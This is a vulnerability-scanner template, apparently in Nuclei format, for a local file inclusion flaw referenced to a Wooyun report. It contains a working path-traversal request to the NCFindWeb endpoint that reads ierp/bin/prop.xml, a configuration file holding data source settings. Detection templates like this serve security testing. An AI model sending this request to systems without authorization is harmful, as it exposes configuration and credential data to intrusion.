id: wooyun-path-traversal

info:
  name: Wooyun - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Wooyun is vulnerable to local file inclusion.
  reference:
    - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: lfi,wooyun,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - <DataSourceClassName>
          - </DataSourceClassName>
        part: body
        condition: and
# digest: 490a004630440220248df1926a09e411f49600d2f6bd979951161ce5a2432c5a494cc8ca6ee071b802207717f149a0d9f9bd9a857ffb4cd89f74686241f511399f919372434e28ee4f46:922c64590222798bb761d5b6d8e72950